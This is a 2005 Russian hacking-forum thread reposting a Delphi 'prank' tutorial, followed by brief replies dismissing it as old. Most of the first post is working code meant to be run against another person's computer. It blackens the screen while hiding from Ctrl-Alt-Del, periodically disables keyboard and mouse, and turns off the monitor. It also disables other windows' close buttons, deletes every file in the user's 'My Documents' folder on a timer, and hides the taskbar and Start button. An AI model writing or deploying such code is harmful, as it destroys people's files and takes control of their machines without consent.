ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Западло на Delphi #3
  #1  
Старый 07.02.2005, 16:23
Аватар для foreva
foreva
Участник форума
Регистрация: 05.02.2005
Сообщений: 121
Провел на форуме:
0

Репутация: 10
Отправить сообщение для foreva с помощью ICQ
По умолчанию Западло на Delphi #3

Западло на Delphi #3
Источник: hack-info.org

Куда подевался экран?
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
end.


Ну что же, каркас готов, теперь будем писать основной код:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
begin
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }

end;
end.


Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать что бы прогу нашу через CTRL-ALT-DEL не видно было:

program joke;
uses Windows, Graphics; { тут мы подключаем необходимые модули }
var
desk:TCanvas; { тут мы объявляем переменные }
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; { инициализируем переменную }
desk.handle:=GetDC(0); { получаем заголовок десктопа }
while true do
begin
Yield;
desk.Pixels[Random(1024), Random(768)]:=0; { точка на экране становится черной }
end;
end.


Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!

Отключение клавиатуры
Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это:

program antiklava;
uses Windows;
begin
end.



Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:

program antiklava;
uses Windows; { подключение необходимых модулей }
var
klava:boolean; { объявление логической переменной}
begin
klava:=true; { устанавливаем значение переменной }
while true do { начинаем бесконечный цикл }
begin
Yield; { делаем так, чтобы всё не подвисло }
Sleep(2*60*1000); { ничего не делаем 2 минуты }
klava:=not klava; { присваиваем переменной противоположное значение }
EnableHardwareInput(klava); { и в зависимости от переменной, отключаем или включаем клаву с мышкой}
end;
end.


Ну вот, всё что нам осталось - CTRL-F9.
P.S. Большинство примеров написано на Win32 API. Если кто-нибудь захочет переписать их под любой другой язык программирования, знайте - это не возбраняется

ВЫрубить монитор
Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...
procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MO NITORPOWER,0);
end;


Для того, чтобы программно включить монитор можете использовать следующий код:

procedure TForm1.Button3Click(Sender: TObject);
begin
if MessageDlg('Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!', mtInformatoion, [mbOk], 0)=mrOk then
SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MO NITORPOWER, -1);
end;


Отключить кнопку закрытия Х чужого окна
Для примера, запустите "Блокнот" и попробуем его кнопку закрытия окна сделать неактивной, кроме того пункт "закрыть" в системном меню тоже будет отключён! ;-]

procedure TForm1.Button1Click (Sender: TObject);
var
hwndHandle : THANDLE;
hMenuHandle : HMENU;
begin
hwndHandle := FindWindow(nil, 'Untitled - Notepad');
if (hwndHandle <> 0) then begin
hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
if (hMenuHandle <> 0) then
DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;
end;


P.S.
Вместо "Untitled - Notepad", нужно подставить заголовок того окна, которому вы хотите послать сообщение.

ОЧИСТИТЬ "МОИ ДОКУМЕНТЫ"
Мы изучим самый легкий способ: удаление всех файлов из папки "Мои документы" без учёта вложенных файлов. Для этого вынесем компонент класса ТFileListBox - это список файлов (находится на закладке Win3.1 палитры компонентов). Затем, с той же закладки, выносим компонент класса TDirectoryListBox - это список каталогов. Задаём ему свойство FileList, указывающее на список файлов (на компонент FileListBox1). Далее можно по созданию окна или по таймеру (если ваша программа многоразового использования) пишем такой код:

[i]procedure TForm1.Timer1Timer(Sender: TObject);
var
i:Integer;
begin
DirectoryListBox1.Directory:='c:\мои документы';
for i:=0 to FileListBox1.Items.count-1 do begin
DeleteFile('C:\мои документы\'+FileListBox1.Items);
end;
end;


СКРЫТЬ TRAY, ЧАСЫ, КНОПКУ 'ПУСК', ПАНЕЛЬ ЗАДАЧ
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

program proga2;
uses Windows;
var
Wnd:THandle; { объявляем переменные }
int:integer;
begin
Randomize; { холостой прогон генератора случайных чисел }
int:=(Random(3)); { выбор одного варианта из четырёх }
case int of
0: { если первый вариант то }
begin
Wnd := FindWindow('Progman', nil); { прячем трей }
Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil);
ShowWindow(Wnd, SW_HIde);
end;
1: { если второй вариант то }
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil);
{ прячем часы }
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil);
{прячем кнопку "Пуск"}
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
{ прячем "Панель задач" }
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.


По желанию можно вставить защиту от CTRL-ALT-DEL.
 
Ответить с цитированием

  #2  
Старый 07.02.2005, 22:34
Аватар для YooogI
YooogI
Участник форума
Регистрация: 03.02.2005
Сообщений: 115
Провел на форуме:
82431

Репутация: 10
Отправить сообщение для YooogI с помощью ICQ
По умолчанию

гм.......старо, банально и неинтересно
 
Ответить с цитированием

  #3  
Старый 08.02.2005, 00:13
Аватар для KEZ
KEZ
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию

согласен - на делфи можно и короче написать так чтоб все повисло - но нормальные люди (ИМХО!!!) делфи не используют
 
Ответить с цитированием

  #4  
Старый 08.02.2005, 00:56
Аватар для YooogI
YooogI
Участник форума
Регистрация: 03.02.2005
Сообщений: 115
Провел на форуме:
82431

Репутация: 10
Отправить сообщение для YooogI с помощью ICQ
По умолчанию

Цитата:
согласен - на делфи можно и короче написать так чтоб все повисло - но нормальные люди (ИМХО!!!) делфи не используют
Ответить с цитированием
ye........C++ рулит!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ